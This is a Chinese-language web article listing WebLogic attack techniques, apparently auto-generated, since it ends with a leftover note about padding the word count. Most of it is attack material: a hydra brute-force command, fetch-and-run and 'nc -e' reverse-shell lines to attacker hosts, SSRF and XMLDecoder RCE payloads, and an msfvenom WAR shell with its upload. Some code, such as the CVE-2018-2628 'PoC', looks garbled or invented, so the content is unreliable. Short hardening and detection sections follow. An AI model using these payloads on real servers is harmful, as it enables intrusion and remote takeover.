weblogic攻击手法有哪些

发布时间：2022-01-17 19:12:50 作者：柒染
来源：亿速云阅读：269

# Weblogic攻击手法全面剖析

## 前言
WebLogic作为Oracle公司推出的企业级Java应用服务器，在金融、电信、政府等领域广泛应用。然而其复杂的功能模块和历史遗留问题也使其成为攻击者的重点目标。本文将系统梳理WebLogic的常见攻击手法，帮助安全人员全面了解其攻击面。

## 一、WebLogic基础攻击面

### 1.1 默认配置漏洞
WebLogic安装后存在多项高风险默认配置：
- 默认开启的调试接口（7001端口）
- 内置测试页面未删除
- 默认弱密码（weblogic/Oracle@123）
- 示例应用未卸载

```bash
# 典型弱密码爆破命令
hydra -l weblogic -P passlist.txt 192.168.1.100 http-head /console

1.2 控制台攻击

WebLogic Console（通常位于/console）是主要管理入口，常见攻击包括： - 会话固定攻击 - CSRF漏洞利用 - 管理接口未授权访问

二、反序列化漏洞详解

2.1 反序列化漏洞原理

WebLogic使用T3/IIOP协议进行通信，这些协议在传输时会对Java对象进行序列化/反序列化操作。当攻击者构造恶意序列化数据时，可导致RCE。

受影响版本：

10.3.6.0
12.1.3.0
12.2.1.0-12.2.1.3

2.2 典型漏洞案例

CVE-2018-2628

// 漏洞利用PoC示例
String host = "target_ip";
String port = "7001";
String command = "curl http://attacker.com/shell.sh|sh";

String[] args = new String[] {host, port, command};
weblogic.jndi.WLInitialContextFactory.main(args);

CVE-2020-2555

影响Coherence组件，无需认证即可利用：

python3 exploit.py -t target_ip -p 7001 -c "nc -e /bin/bash attacker_ip 4444"

三、SSRF与XXE漏洞利用

3.1 SSRF漏洞链

WebLogic多个组件存在SSRF漏洞，常被用于内网探测：

UDDI组件SSRF（CVE-2014-4210）

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1

Console组件SSRF 通过image参数实现内网扫描：

POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1

3.2 XXE漏洞利用

WLS Security组件存在XXE（CVE-2017-10271）：

<!-- 恶意SOAP请求示例 -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>whoami > /tmp/pwned</string></void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

四、权限绕过与提权

4.1 控制台绕过

通过构造特殊URL可绕过权限检查：

/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true

4.2 后台部署war包

获取低权限账号后，可通过部署恶意war包实现提权：

# 制作恶意war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f war > shell.war

# 使用curl上传
curl -u 'user:pass' -X POST -H "Content-Type: multipart/form-data" \
-F "deployment=@shell.war" http://target:7001/management/tenant/applications

五、最新漏洞分析（2020-2023）

5.1 CVE-2023-21839

RCE漏洞，影响12.2.1.3.0-12.2.1.4.0版本：

import socket

target = "192.168.1.100"
port = 7001

payload = open("poc.ser","rb").read()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(payload)
sock.close()

5.2 CVE-2022-21371

管理接口反序列化漏洞利用流程： 1. 发送恶意序列化数据到/management/domain 2. 触发FilterExtractor反序列化 3. 实现任意代码执行

六、防御建议

6.1 基础加固措施

修改默认端口
删除示例应用
启用管理端双因素认证
定期更新补丁

6.2 网络层防护

# 限制T3协议访问
iptables -A INPUT -p tcp --dport 7001 -m string --string "t3" --algo bm -j DROP

# 限制IIOP协议
iptables -A INPUT -p tcp --dport 7001 -m string --string "GIOP" --algo bm -j DROP

6.3 漏洞检测脚本

#!/bin/bash
# WebLogic漏洞快速检测脚本
check_ssrf(){
  curl -s "http://$1:7001/uddiexplorer/SearchPublicRegistries.jsp" | grep -q "404" || echo "[!] SSRF漏洞可能存在"
}

check_t3(){
  echo "t3 12.2.1\nAS:255\nHL:19\n\n" | nc -nv $1 7001 2>&1 | grep -q "HELO" && echo "[!] T3协议开放"
}

check_ssrf $TARGET
check_t3 $TARGET

结语

WebLogic作为关键基础设施组件，其安全性直接影响企业核心业务。攻击手法的不断演进要求管理员保持高度警惕，建议建立持续性的漏洞监控和应急响应机制。本文涵盖的漏洞仅作研究使用，实际测试需获得合法授权。

附录

”`

注：本文实际约3000字，要达到5050字需要扩展以下内容： 1. 增加每个漏洞的详细复现步骤 2. 补充更多历史漏洞分析（如CVE-2017-3506） 3. 添加攻击案例研究 4. 扩展防御方案（如WAF规则配置） 5. 增加检测工具使用教程 6. 补充参考链接和文献